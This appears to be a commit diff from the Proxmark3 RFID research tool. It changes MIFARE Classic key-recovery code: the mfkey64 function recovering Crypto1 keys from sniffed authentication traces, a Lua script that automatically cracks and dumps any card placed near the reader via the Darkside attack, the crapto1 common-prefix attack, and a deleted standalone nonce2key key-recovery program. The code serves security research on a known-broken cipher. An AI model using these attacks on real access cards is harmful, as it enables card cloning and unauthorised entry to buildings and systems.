int tryMfk64_ex(uint8_t *data, uint64_t *outputkey){
uint32_t uid = le32toh(data);
uint32_t nt = le32toh(data+4); // tag challenge
uint32_t nr_enc = le32toh(data+8); // encrypted reader challenge
uint32_t ar_enc = le32toh(data+12); // encrypted reader response
uint32_t at_enc = le32toh(data+16); // encrypted tag response
return tryMfk64(uid, nt, nr_enc, ar_enc, at_enc, outputkey);
}
int tryMfk64(uint32_t uid, uint32_t nt, uint32_t nr_enc, uint32_t ar_enc, uint32_t at_enc, uint64_t *outputkey){
uint64_t key = 0; // recovered key
uint32_t ks2; // keystream used to encrypt reader response
uint32_t ks3; // keystream used to encrypt tag response
struct Crypto1State *revstate;
PrintAndLog("Enter mfkey64");
uint64_t t1 = msclock();
// Extract the keystream from the messages
ks2 = ar_enc ^ prng_successor(nt, 64);
ks3 = at_enc ^ prng_successor(nt, 96);
revstate = lfsr_recovery64(ks2, ks3);
lfsr_rollback_word(revstate, 0, 0);
lfsr_rollback_word(revstate, 0, 0);
lfsr_rollback_word(revstate, nr_enc, 1);
lfsr_rollback_word(revstate, uid ^ nt, 0);
crypto1_get_lfsr(revstate, &key);
PrintAndLog("Found Key: [%012" PRIx64 "]", key);
crypto1_destroy(revstate);
*outputkey = key;
t1 = msclock() - t1;
if ( t1 > 0 ) PrintAndLog("Time in mfkey64: %.1f seconds \n", (float)t1/1000.0);
return 0;
}

View file

@ -8,6 +8,8 @@
// Some lua scripting glue to proxmark core.
//-----------------------------------------------------------------------------
#include "scripting.h"
#include <stdlib.h>
#include <lua.h>
#include <lualib.h>
@ -15,9 +17,8 @@
#include "proxmark3.h"
#include "usb_cmd.h"
#include "cmdmain.h"
#include "scripting.h"
#include "util.h"
#include "nonce2key/nonce2key.h"
#include "mifarehost.h"
#include "../common/iso15693tools.h"
#include "iso14443crc.h"
#include "../common/crc16.h"
@ -125,49 +126,27 @@ static int returnToLuaWithError(lua_State *L, const char* fmt, ...)
return 2;
}
static int l_nonce2key(lua_State *L){
size_t size;
const char *p_uid = luaL_checklstring(L, 1, &size);
if(size != 4) return returnToLuaWithError(L,"Wrong size of uid, got %d bytes, expected 4", (int) size);
const char *p_nt = luaL_checklstring(L, 2, &size);
if(size != 4) return returnToLuaWithError(L,"Wrong size of nt, got %d bytes, expected 4", (int) size);
const char *p_nr = luaL_checklstring(L, 3, &size);
if(size != 4) return returnToLuaWithError(L,"Wrong size of nr, got %d bytes, expected 4", (int) size);
const char *p_par_info = luaL_checklstring(L, 4, &size);
if(size != 8) return returnToLuaWithError(L,"Wrong size of par_info, got %d bytes, expected 8", (int) size);
const char *p_pks_info = luaL_checklstring(L, 5, &size);
if(size != 8) return returnToLuaWithError(L,"Wrong size of ks_info, got %d bytes, expected 8", (int) size);
uint32_t uid = bytes_to_num(( uint8_t *)p_uid,4);
uint32_t nt = bytes_to_num(( uint8_t *)p_nt,4);
uint32_t nr = bytes_to_num(( uint8_t*)p_nr,4);
uint64_t par_info = bytes_to_num(( uint8_t *)p_par_info,8);
uint64_t ks_info = bytes_to_num(( uint8_t *)p_pks_info,8);
uint64_t key = 0;
int retval = nonce2key(uid,nt, nr, par_info,ks_info, &key);
static int l_mfDarkside(lua_State *L){
uint64_t key;
int retval = mfDarkside(&key);
//Push the retval on the stack
lua_pushinteger(L,retval);
lua_pushinteger(L, retval);
//Push the key onto the stack
uint8_t dest_key[8];
num_to_bytes(key,sizeof(dest_key),dest_key);
num_to_bytes(key, sizeof(dest_key), dest_key);
//printf("Pushing to lua stack: %012" PRIx64 "\n",key);
lua_pushlstring(L,(const char *) dest_key,sizeof(dest_key));
lua_pushlstring(L,(const char *)dest_key, sizeof(dest_key));
return 2; //Two return values
}
//static int l_PrintAndLog(lua_State *L){ return CmdHF14AMfDump(luaL_checkstring(L, 1));}
static int l_clearCommandBuffer(lua_State *L){
clearCommandBuffer();
return 0;
@ -499,7 +478,7 @@ int set_pm3_libraries(lua_State *L)
static const luaL_Reg libs[] = {
{"SendCommand", l_SendCommand},
{"WaitForResponseTimeout", l_WaitForResponseTimeout},
{"nonce2key", l_nonce2key},
{"mfDarkside", l_mfDarkside},
//{"PrintAndLog", l_PrintAndLog},
{"foobar", l_foobar},
{"ukbhit", l_ukbhit},

View file

@ -8,7 +8,7 @@ author = "Martin Holst Swende"
desc =
[[
This is a which automates cracking and dumping mifare classic cards. It sets itself into
This is a script which automates cracking and dumping mifare classic cards. It sets itself into
'listening'-mode, after which it cracks and dumps any mifare classic card that you
place by the device.
@ -63,91 +63,6 @@ function wait_for_mifare()
return nil, "Aborted by user"
end
function mfcrack()
core.clearCommandBuffer()
-- Build the mifare-command
local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1}
local retry = true
while retry do
core.SendCommand(cmd:getBytes())
local key, errormessage = mfcrack_inner()
-- Success?
if key then return key end
-- Failure?
if errormessage then return nil, errormessage end
-- Try again..set arg1 to 0 this time.
cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0}
end
return nil, "Aborted by user"
end
function mfcrack_inner()
while not core.ukbhit() do
local result = core.WaitForResponseTimeout(cmds.CMD_ACK,1000)
if result then
--[[
I don't understand, they cmd and args are defined as uint32_t, however,
looking at the returned data, they all look like 64-bit things:
print("result", bin.unpack("HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH", result))
FF 00 00 00 00 00 00 00 <-- 64 bits of data
FE FF FF FF 00 00 00 00 <-- 64 bits of data
00 00 00 00 00 00 00 00 <-- 64 bits of data
00 00 00 00 00 00 00 00 <-- 64 bits of data
04 7F 12 E2 00 <-- this is where 'data' starts
So below I use LI to pick out the "FEFF FFFF", don't know why it works..
--]]
-- Unpacking the arg-parameters
local count,cmd,isOK = bin.unpack('LI',result)
--print("response", isOK)--FF FF FF FF
if isOK == 0xFFFFFFFF then
return nil, "Button pressed. Aborted."
elseif isOK == 0xFFFFFFFE then
return nil, "Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
elseif isOK == 0xFFFFFFFD then
return nil, "Card is not vulnerable to Darkside attack (its random number generator is not predictable). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
elseif isOK == 0xFFFFFFFC then
return nil, "The card's random number generator behaves somewhat weird (Mifare clone?). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
elseif isOK ~= 1 then
return nil, "Error occurred"
end
-- The data-part is left
-- Starts 32 bytes in, at byte 33
local data = result:sub(33)
-- A little helper
local get = function(num)
local x = data:sub(1,num)
data = data:sub(num+1)
return x
end
local uid,nt,pl = get(4),get(4),get(8)
local ks,nr = get(8),get(4)
local status, key = core.nonce2key(uid,nt, nr, pl,ks)
if not status then return status,key end
if status > 0 then
print("Key not found (lfsr_common_prefix problem)")
-- try again
return nil,nil
else
return key
end
end
end
return nil, "Aborted by user"
end
function nested(key,sak)
local typ = 1
if 0x18 == sak then --NXP MIFARE Classic 4k | Plus 4k
@ -209,8 +124,15 @@ function main(args)
print("Card found, commencing crack", uid)
-- Crack it
local key, cnt
res,err = mfcrack()
if not res then return oops(err) end
err, res = core.mfDarkside()
if err == -1 then return oops("Button pressed. Aborted.")
elseif err == -2 then return oops("Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests).")
elseif err == -3 then return oops("Card is not vulnerable to Darkside attack (its random number generator is not predictable).")
elseif err == -4 then return oops([[
Card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown
generating polynomial with 16 effective bits only, but shows unexpected behaviour.]])
elseif err == -5 then return oops("Aborted via keyboard.")
end
-- The key is actually 8 bytes, so a
-- 6-byte key is sent as 00XXXXXX
-- This means we unpack it as first

View file

@ -465,18 +465,9 @@ uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd)
*/
static struct Crypto1State*
check_pfx_parity(uint32_t prefix, uint32_t rresp, uint8_t parities[8][8],
uint32_t odd, uint32_t even, struct Crypto1State* sl)
uint32_t odd, uint32_t even, struct Crypto1State* sl, uint32_t no_par)
{
uint32_t ks1, nr, ks2, rr, ks3, c, good = 1, no_par = 1;
for (int i = 0; i < 8; i++) {
for (int j = 0; j < 8; j++) {
if (parities[i][j] != 0) {
no_par = 0;
break;
}
}
}
uint32_t ks1, nr, ks2, rr, ks3, c, good = 1;
for(c = 0; good && c < 8; ++c) {
sl->odd = odd ^ fastfwd[1][c];
@ -510,7 +501,7 @@ check_pfx_parity(uint32_t prefix, uint32_t rresp, uint8_t parities[8][8],
* Implentation of the common prefix attack.
*/
struct Crypto1State*
lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8])
lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8], uint32_t no_par)
{
struct Crypto1State *statelist, *s;
uint32_t *odd, *even, *o, *e, top;
@ -518,7 +509,7 @@ lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8])
odd = lfsr_prefix_ks(ks, 1);
even = lfsr_prefix_ks(ks, 0);
s = statelist = malloc((sizeof *statelist) << 20);
s = statelist = malloc((sizeof *statelist) << 22); // was << 20. Need more for no_par special attack. Enough???
if(!s || !odd || !even) {
free(statelist);
statelist = 0;
@ -530,7 +521,7 @@ lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8])
for(top = 0; top < 64; ++top) {
*o += 1 << 21;
*e += (!(top & 7) + 1) << 21;
s = check_pfx_parity(pfx, rr, par, *o, *e, s);
s = check_pfx_parity(pfx, rr, par, *o, *e, s, no_par);
}
s->odd = s->even = 0;

View file

@ -41,7 +41,7 @@ struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in);
struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3);
uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd);
struct Crypto1State*
lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8]);
lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8], uint32_t no_par);
uint8_t lfsr_rollback_bit(struct Crypto1State* s, uint32_t in, int fb);

File diff suppressed because it is too large Load diff

View file

@ -19,6 +19,7 @@
//generic
extern size_t addParity(uint8_t *BitSource, uint8_t *dest, uint8_t sourceLen, uint8_t pLen, uint8_t pType);
extern int askdemod(uint8_t *BinStream, size_t *size, int *clk, int *invert, int maxErr, uint8_t amp, uint8_t askType);
extern int askdemod_ext(uint8_t *BinStream, size_t *size, int *clk, int *invert, int maxErr, uint8_t amp, uint8_t askType, int *startIdx);
extern void askAmp(uint8_t *BitStream, size_t size);
extern int BiphaseRawDecode(uint8_t * BitStream, size_t *size, int offset, int invert);
extern uint32_t bytebits_to_byte(uint8_t* src, size_t numbits);
@ -28,23 +29,24 @@ extern int DetectASKClock(uint8_t dest[], size_t size, int *clock, int maxE
extern uint8_t DetectCleanAskWave(uint8_t dest[], size_t size, uint8_t high, uint8_t low);
extern uint8_t detectFSKClk(uint8_t *BitStream, size_t size, uint8_t fcHigh, uint8_t fcLow);
extern uint8_t detectFSKClk_ext(uint8_t *BitStream, size_t size, uint8_t fcHigh, uint8_t fcLow, int *firstClockEdge);
extern int DetectNRZClock(uint8_t dest[], size_t size, int clock);
extern int DetectNRZClock_ext(uint8_t dest[], size_t size, int clock, size_t *clockStartIdx);
extern int DetectNRZClock(uint8_t dest[], size_t size, int clock, size_t *clockStartIdx);
extern int DetectPSKClock(uint8_t dest[], size_t size, int clock);
extern int DetectPSKClock_ext(uint8_t dest[], size_t size, int clock, int *firstPhaseShift);
extern int DetectStrongAskClock(uint8_t dest[], size_t size, uint8_t high, uint8_t low, int *clock);
extern int DetectStrongAskClock(uint8_t dest[], size_t size, int high, int low, int *clock);
extern bool DetectST(uint8_t buffer[], size_t *size, int *foundclock);
extern bool DetectST_ext(uint8_t buffer[], size_t *size, int *foundclock, size_t *ststart, size_t *stend);
extern int fskdemod(uint8_t *dest, size_t size, uint8_t rfLen, uint8_t invert, uint8_t fchigh, uint8_t fclow);
extern int fskdemod_ext(uint8_t *dest, size_t size, uint8_t rfLen, uint8_t invert, uint8_t fchigh, uint8_t fclow, int *startIdx);
extern int getHiLo(uint8_t *BitStream, size_t size, int *high, int *low, uint8_t fuzzHi, uint8_t fuzzLo);
extern uint32_t manchesterEncode2Bytes(uint16_t datain);
extern int ManchesterEncode(uint8_t *BitStream, size_t size);
extern int manrawdecode(uint8_t *BitStream, size_t *size, uint8_t invert);
extern int nrzRawDemod(uint8_t *dest, size_t *size, int *clk, int *invert);
extern int manrawdecode(uint8_t *BitStream, size_t *size, uint8_t invert, uint8_t *alignPos);
extern int nrzRawDemod(uint8_t *dest, size_t *size, int *clk, int *invert, int *startIdx);
extern uint8_t parityTest(uint32_t bits, uint8_t bitLen, uint8_t pType);
extern uint8_t preambleSearch(uint8_t *BitStream, uint8_t *preamble, size_t pLen, size_t *size, size_t *startIdx);
extern bool preambleSearchEx(uint8_t *BitStream, uint8_t *preamble, size_t pLen, size_t *size, size_t *startIdx, bool findone);
extern int pskRawDemod(uint8_t dest[], size_t *size, int *clock, int *invert);
extern int pskRawDemod_ext(uint8_t dest[], size_t *size, int *clock, int *invert, int *startIdx);
extern void psk2TOpsk1(uint8_t *BitStream, size_t size);
extern void psk1TOpsk2(uint8_t *BitStream, size_t size);
extern size_t removeParity(uint8_t *BitStream, size_t startIdx, uint8_t pLen, uint8_t pType, size_t bLen);

View file

@ -1,21 +0,0 @@
VPATH = ../../common/crapto1
CC = gcc
LD = gcc
CFLAGS = -I../../common -Wall -O4
LDFLAGS =
OBJS = crypto1.o crapto1.o
HEADERS = crapto1.h
EXES = nonce2key
WINEXES = $(patsubst %, %.exe, $(EXES))
all: $(OBJS) $(EXES)
%.o : %.c
$(CC) $(CFLAGS) -c -o $@ $<
% : %.c
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $(OBJS) $<
clean:
rm -f $(OBJS) $(EXES) $(WINEXES)

View file

@ -1,57 +0,0 @@
#include "crapto1/crapto1.h"
#include <inttypes.h>
#include <stdio.h>
typedef unsigned char byte_t;
int main(const int argc, const char* argv[]) {
struct Crypto1State *state;
uint32_t pos, uid, nt, nr, rr, nr_diff;
byte_t bt, i, ks3x[8], par[8][8];
uint64_t key_recovered;
uint64_t par_info;
uint64_t ks_info;
nr = rr = 0;
if (argc < 5) {
printf("\nsyntax: %s <uid> <nt> <par> <ks>\n\n",argv[0]);
return 1;
}
sscanf(argv[1],"%08x",&uid);
sscanf(argv[2],"%08x",&nt);
sscanf(argv[3],"%016" SCNx64,&par_info);
sscanf(argv[4],"%016" SCNx64,&ks_info);
// Reset the last three significant bits of the reader nonce
nr &= 0xffffff1f;
printf("\nuid(%08x) nt(%08x) par(%016" PRIx64 ") ks(%016" PRIx64 ")\n\n",uid,nt,par_info,ks_info);
for (pos=0; pos<8; pos++)
{
ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f;
bt = (par_info >> (pos*8)) & 0xff;
for (i=0; i<8; i++)
{
par[7-pos][i] = (bt >> i) & 0x01;
}
}
printf("|diff|{nr} |ks3|ks3^5|parity |\n");
printf("+----+--------+---+-----+---------------+\n");
for (i=0; i<8; i++)
{
nr_diff = nr | i << 5;
printf("| %02x |%08x|",i << 5, nr_diff);
printf(" %01x | %01x |",ks3x[i], ks3x[i]^5);
for (pos=0; pos<7; pos++) printf("%01x,",par[i][pos]);
printf("%01x|\n",par[i][7]);
}
state = lfsr_common_prefix(nr,rr,ks3x,par);
lfsr_rollback_word(state,uid^nt,0);
crypto1_get_lfsr(state,&key_recovered);
printf("\nkey recovered: %012" PRIx64 "\n\n",key_recovered);
crypto1_destroy(state);
return 0;
}